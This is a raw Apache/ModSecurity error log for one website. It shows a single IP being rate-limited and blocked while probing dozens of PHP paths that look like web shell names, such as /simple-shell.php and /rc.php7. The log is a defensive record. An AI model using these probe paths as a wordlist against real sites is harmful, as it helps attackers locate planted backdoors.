[Mon Apr 13 05:40:52.891821 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:62462] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "adwRZOCGj3EEJtCwa0OQhAAAAQ0"]
[Mon Apr 13 05:40:53.353250 2026] [:error] [pid 11325:tid 11346] [client 4.204.201.44:64251] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "adwRZeCGj3EEJtCwa0OQhwAAARM"]
[Mon Apr 13 05:40:53.783284 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:64197] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "adwRZRNHe8geO_lMeFabyQAAAEs"]
[Mon Apr 13 05:40:54.203021 2026] [:error] [pid 11325:tid 11336] [client 4.204.201.44:61545] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "adwRZuCGj3EEJtCwa0OQiAAAAQk"]
[Mon Apr 13 05:40:54.619830 2026] [:error] [pid 11325:tid 11338] [client 4.204.201.44:61563] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jcsonquo.php"] [unique_id "adwRZuCGj3EEJtCwa0OQigAAAQs"]
[Mon Apr 13 05:40:55.036312 2026] [:error] [pid 33941:tid 33967] [client 4.204.201.44:63701] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jcsonquo.php"] [unique_id "adwRZ2_NKERAxgG-rYM4fgAAABA"]
[Mon Apr 13 05:40:55.448897 2026] [:error] [pid 33941:tid 33951] [client 4.204.201.44:63645] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jcsonquo.php"] [unique_id "adwRZ2_NKERAxgG-rYM4fwAAAAE"]
[Mon Apr 13 05:40:55.871708 2026] [:error] [pid 33943:tid 34027] [client 4.204.201.44:61550] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jcsonquo.php"] [unique_id "adwRZ6yoXuZjocnxM5FqZwAAAJU"]
[Mon Apr 13 05:40:56.323187 2026] [:error] [pid 11325:tid 11345] [client 4.204.201.44:65084] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/termps.php"] [unique_id "adwRaOCGj3EEJtCwa0OQjAAAARI"]
[Mon Apr 13 05:40:56.747077 2026] [:error] [pid 33943:tid 34026] [client 4.204.201.44:62367] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/termps.php"] [unique_id "adwRaKyoXuZjocnxM5FqagAAAJQ"]
[Mon Apr 13 05:40:57.199528 2026] [:error] [pid 11325:tid 11328] [client 4.204.201.44:63739] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/termps.php"] [unique_id "adwRaeCGj3EEJtCwa0OQkAAAAQE"]
[Mon Apr 13 05:40:57.621224 2026] [:error] [pid 34048:tid 34054] [client 4.204.201.44:63696] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/termps.php"] [unique_id "adwRafSiQ_PJjlY5Ehz2TAAAAMQ"]
[Mon Apr 13 05:40:58.080978 2026] [:error] [pid 11325:tid 11336] [client 4.204.201.44:61452] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRauCGj3EEJtCwa0OQlQAAAQk"]
[Mon Apr 13 05:40:58.498829 2026] [:error] [pid 34048:tid 34073] [client 4.204.201.44:65096] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRavSiQ_PJjlY5Ehz2TgAAANc"]
[Mon Apr 13 05:40:58.914783 2026] [:error] [pid 33942:tid 33994] [client 4.204.201.44:65125] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRahNHe8geO_lMeFabzQAAAE8"]
[Mon Apr 13 05:40:59.352248 2026] [:error] [pid 33942:tid 33997] [client 4.204.201.44:61516] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRaxNHe8geO_lMeFabzgAAAFI"]
[Mon Apr 13 05:40:59.820653 2026] [:error] [pid 33943:tid 34029] [client 4.204.201.44:65127] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRa6yoXuZjocnxM5FqbwAAAJc"]
[Mon Apr 13 05:41:00.234319 2026] [:error] [pid 11325:tid 11335] [client 4.204.201.44:64214] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRbOCGj3EEJtCwa0OQnAAAAQg"]
[Mon Apr 13 05:41:00.662108 2026] [:error] [pid 33942:tid 33993] [client 4.204.201.44:65028] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRbBNHe8geO_lMeFab0QAAAE4"]
[Mon Apr 13 05:41:01.100865 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:63669] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRbRNHe8geO_lMeFab0gAAAEs"]
[Mon Apr 13 05:41:01.534647 2026] [:error] [pid 33943:tid 34027] [client 4.204.201.44:61560] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rin.php"] [unique_id "adwRbayoXuZjocnxM5FqcAAAAJU"]
[Mon Apr 13 05:41:01.960703 2026] [:error] [pid 34048:tid 34063] [client 4.204.201.44:61551] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rin.php"] [unique_id "adwRbfSiQ_PJjlY5Ehz2UgAAAM0"]
[Mon Apr 13 05:41:02.375509 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:63666] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rin.php"] [unique_id "adwRbuCGj3EEJtCwa0OQoAAAARQ"]
[Mon Apr 13 05:41:02.787075 2026] [:error] [pid 11325:tid 11349] [client 4.204.201.44:65119] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rin.php"] [unique_id "adwRbuCGj3EEJtCwa0OQogAAARY"]
[Mon Apr 13 05:41:03.221553 2026] [:error] [pid 34048:tid 34059] [client 4.204.201.44:61547] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packages.php"] [unique_id "adwRb_SiQ_PJjlY5Ehz2UwAAAMk"]
[Mon Apr 13 05:41:03.706643 2026] [:error] [pid 33943:tid 34006] [client 4.204.201.44:63670] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packages.php"] [unique_id "adwRb6yoXuZjocnxM5FqcgAAAIA"]
[Mon Apr 13 05:41:04.147735 2026] [:error] [pid 33943:tid 34017] [client 4.204.201.44:65128] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packages.php"] [unique_id "adwRcKyoXuZjocnxM5FqdAAAAIs"]
[Mon Apr 13 05:41:04.612646 2026] [:error] [pid 33942:tid 33997] [client 4.204.201.44:64198] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packages.php"] [unique_id "adwRcBNHe8geO_lMeFab2wAAAFI"]
[Mon Apr 13 05:41:05.086412 2026] [:error] [pid 33941:tid 33959] [client 4.204.201.44:63699] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "adwRcW_NKERAxgG-rYM4igAAAAg"]
[Mon Apr 13 05:41:05.553519 2026] [:error] [pid 34048:tid 34053] [client 4.204.201.44:62415] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "adwRcfSiQ_PJjlY5Ehz2VAAAAMM"]
[Mon Apr 13 05:41:06.060222 2026] [:error] [pid 34048:tid 34061] [client 4.204.201.44:64152] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "adwRcvSiQ_PJjlY5Ehz2VgAAAMs"]
[Mon Apr 13 05:41:06.503835 2026] [:error] [pid 34048:tid 34052] [client 4.204.201.44:61531] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "adwRcvSiQ_PJjlY5Ehz2WAAAAMI"]
[Mon Apr 13 05:41:06.958664 2026] [:error] [pid 34048:tid 34065] [client 4.204.201.44:62381] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbv.php"] [unique_id "adwRcvSiQ_PJjlY5Ehz2XQAAAM8"]
[Mon Apr 13 05:41:07.375519 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:65130] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbv.php"] [unique_id "adwRc-CGj3EEJtCwa0OQpwAAARA"]
[Mon Apr 13 05:41:07.797795 2026] [:error] [pid 11325:tid 11332] [client 4.204.201.44:63631] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbv.php"] [unique_id "adwRc-CGj3EEJtCwa0OQqAAAAQU"]
[Mon Apr 13 05:41:08.219245 2026] [:error] [pid 33943:tid 34018] [client 4.204.201.44:63618] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbv.php"] [unique_id "adwRdKyoXuZjocnxM5FqdgAAAIw"]
[Mon Apr 13 05:41:08.646071 2026] [:error] [pid 33943:tid 34014] [client 4.204.201.44:64138] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "adwRdKyoXuZjocnxM5FqdwAAAIg"]
[Mon Apr 13 05:41:09.068792 2026] [:error] [pid 11325:tid 11334] [client 4.204.201.44:65120] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "adwRdeCGj3EEJtCwa0OQqwAAAQc"]
[Mon Apr 13 05:41:09.491821 2026] [:error] [pid 11325:tid 11327] [client 4.204.201.44:64148] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "adwRdeCGj3EEJtCwa0OQrAAAAQA"]
[Mon Apr 13 05:41:09.919372 2026] [:error] [pid 33943:tid 34007] [client 4.204.201.44:63642] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "adwRdayoXuZjocnxM5FqfAAAAIE"]
[Mon Apr 13 05:41:10.367399 2026] [:error] [pid 33942:tid 34003] [client 4.204.201.44:63703] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moderation.php"] [unique_id "adwRdhNHe8geO_lMeFab3wAAAFg"]
[Mon Apr 13 05:41:10.782934 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:64185] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moderation.php"] [unique_id "adwRduCGj3EEJtCwa0OQrwAAARU"]
[Mon Apr 13 05:41:11.205113 2026] [:error] [pid 33943:tid 34028] [client 4.204.201.44:62461] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moderation.php"] [unique_id "adwRd6yoXuZjocnxM5FqfwAAAJY"]
[Mon Apr 13 05:41:11.625897 2026] [:error] [pid 33943:tid 34019] [client 4.204.201.44:63687] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moderation.php"] [unique_id "adwRd6yoXuZjocnxM5FqgAAAAI0"]
[Mon Apr 13 05:41:12.096682 2026] [:error] [pid 33943:tid 34006] [client 4.204.201.44:63706] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple-shell.php"] [unique_id "adwReKyoXuZjocnxM5FqgQAAAIA"]
[Mon Apr 13 05:41:12.584535 2026] [:error] [pid 34048:tid 34061] [client 4.204.201.44:63659] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple-shell.php"] [unique_id "adwRePSiQ_PJjlY5Ehz2YAAAAMs"]
[Mon Apr 13 05:41:13.004248 2026] [:error] [pid 33941:tid 33950] [client 4.204.201.44:61504] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple-shell.php"] [unique_id "adwReW_NKERAxgG-rYM4jgAAAAA"]
[Mon Apr 13 05:41:13.417215 2026] [:error] [pid 33943:tid 34030] [client 4.204.201.44:63715] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple-shell.php"] [unique_id "adwReayoXuZjocnxM5FqhQAAAJg"]
[Mon Apr 13 05:41:13.859779 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:65100] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "adwReeCGj3EEJtCwa0OQwQAAARU"]
[Mon Apr 13 05:41:14.273040 2026] [:error] [pid 33943:tid 34018] [client 4.204.201.44:63633] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "adwReqyoXuZjocnxM5FqhwAAAIw"]
[Mon Apr 13 05:41:14.695054 2026] [:error] [pid 33943:tid 34015] [client 4.204.201.44:65058] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "adwReqyoXuZjocnxM5FqiQAAAIk"]
[Mon Apr 13 05:41:15.118626 2026] [:error] [pid 33943:tid 34027] [client 4.204.201.44:61520] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/dist/vendor/about.php"] [unique_id "adwRe6yoXuZjocnxM5FqigAAAJU"]
[Mon Apr 13 05:41:15.539270 2026] [:error] [pid 33943:tid 34028] [client 4.204.201.44:61512] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2Vu80QG.php"] [unique_id "adwRe6yoXuZjocnxM5FqjQAAAJY"]
[Mon Apr 13 05:41:15.953129 2026] [:error] [pid 11325:tid 11346] [client 4.204.201.44:65045] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2Vu80QG.php"] [unique_id "adwRe-CGj3EEJtCwa0OQzQAAARM"]
[Mon Apr 13 05:41:16.367873 2026] [:error] [pid 11325:tid 11329] [client 4.204.201.44:60078] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2Vu80QG.php"] [unique_id "adwRfOCGj3EEJtCwa0OQzwAAAQI"]
[Mon Apr 13 05:41:16.794356 2026] [:error] [pid 34048:tid 34058] [client 4.204.201.44:61506] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2Vu80QG.php"] [unique_id "adwRfPSiQ_PJjlY5Ehz2ZQAAAMg"]
